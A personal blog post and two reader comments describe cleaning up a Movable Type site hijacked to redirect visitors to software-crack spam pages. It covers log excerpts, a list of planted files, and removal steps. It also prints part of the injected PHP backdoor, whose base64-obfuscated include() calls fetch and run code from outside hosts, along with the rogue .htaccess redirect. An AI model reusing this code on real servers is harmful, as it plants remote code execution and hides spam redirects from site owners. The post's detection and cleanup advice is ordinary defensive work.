I just finished cleaning up some nefarious content from my web server, and I’m putting this post out there as a warning and an antiseptic for anyone who runs into a similar problem.
Parts of my site got hijacked, apparently by the same SQL injection attack that a machine in Delhi introduced. One prong of the attack — which I discovered rather quickly — attempted to push a virus to all Microsoft IE users. I was able to fix that right away by having Movable Type rebuild the entire site.
The other (and hopefully last) part of the attack added a number of PHP executables and .htaccess files to the directory containing my Movable Type blog entries. Whenever someone asked for a bogus page on my server, their request would be automatically routed somewhere else (via an HTTP “302″ response code). As innocent as this sounds, it kills Google search ratings by making my site look like a spammer, and it masks illegal activity. The majority of these requests are for software “cracks” and key generators to bypass license management. Here are some typical lines from my log file:
202.83.33.92 - - [01/Jan/2006:04:14:06 -0800] "GET /dispatches/archives/2005/12/keygen.license.ultramp3.htm HTTP/1.1" 302 5 [snip] 81.246.171.67 - - [01/Jan/2006:04:19:06 -0800] "GET /dispatches/archives/2005/12/black.predators.spider.widow.htm HTTP/1.1" 302 5 "-" [snip] 81.246.171.67 - - [01/Jan/2006:04:22:24 -0800] "GET /dispatches/archives/2005/12/warcraft.3.no.cd.crack.1.20b.patch.htm HTTP/1.1" 302 5 "-" [snip] 66.249.66.175 - - [01/Jan/2006:04:27:16 -0800] "GET /dispatches/archives/2005/12/keys.kapersky.htm HTTP/1.1" 200 7538 "-" [snip]
The files that the virus/worm/whatever (I’m still not sure about the vector) added include
- include.php
- includes.php
- messages.php
- configs.php
- guest.php
- create.php
- date.php
- time.php
and the same number of “.htaccess” files in the same directories. The .php files were identical and had the same timestamp of when my site was infected (19 June 2005). I’m not going to post the full code of the beasties, just enough to help people searching for solutions to this problem:
<?php error_reporting(0);
ini_set(allow_url_fopen,1);
$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$g=(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_USER_AGENT);
$h=(isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : $REMOTE_ADDR);
$str=base64_encode($a).'.'.base64_encode($b).
if ((include(base64_decode('aHR0cDovLw==').
base64_decode('dXNlcjkubXNodG1sLnJ1')."/?".$str))){} else {include(base64_decode('aHR0cDovLw==').
base64_decode('dXNlcjcuaHRtbHRhZ3MucnU=')."/?".$str);} ?>
The .htaccess pages look like this:
Options -MultiViews ErrorDocument 404 //dispatches/archives/2005/report.php
Fixing the problem was easy:
- Delete any .htaccess files that I didn’t create myself (i.e., that look like what’s shown above).
- Delete the .php files that don’t belong.
- Look around for other files modified on the same date. I found two orphaned HTML files that looked like they had malicious Javascript in them.
That’s it!
I’m still looking for countermeasures to prevent the problem in the future. Programming, managing and securing websites isn’t my day job, so it may be very simple. These resources look promising:




2 users commented in " A word of caution to Movable Type bloggers "
Follow-up comment rss or Leave a TrackbackCan you tell me the string you found in error.log? We must delete it every day, because we haven’t enough space, and I cannot identify the string. I’d like to know how could they do it in our servers, but I have no idea.
With this attack, there aren’t any suspicious lines in the error logs. What would normally become 404 errors turn into HTTP 302 redirects, as you can see in the four or so lines from the Apache logs near the top of this post.
The key is to scour your site for PHP files containing the code snippets above and for suspicious files with the same timestamp. If you have access to a shell account on your server, finding the files is easy:
grep “dXN” `find . -name \*.php`
If you don’t have a login, any respectable service provider should be able to do it for you — especially once you’ve told them that it’s related to a security vulnerability.
Leave A Reply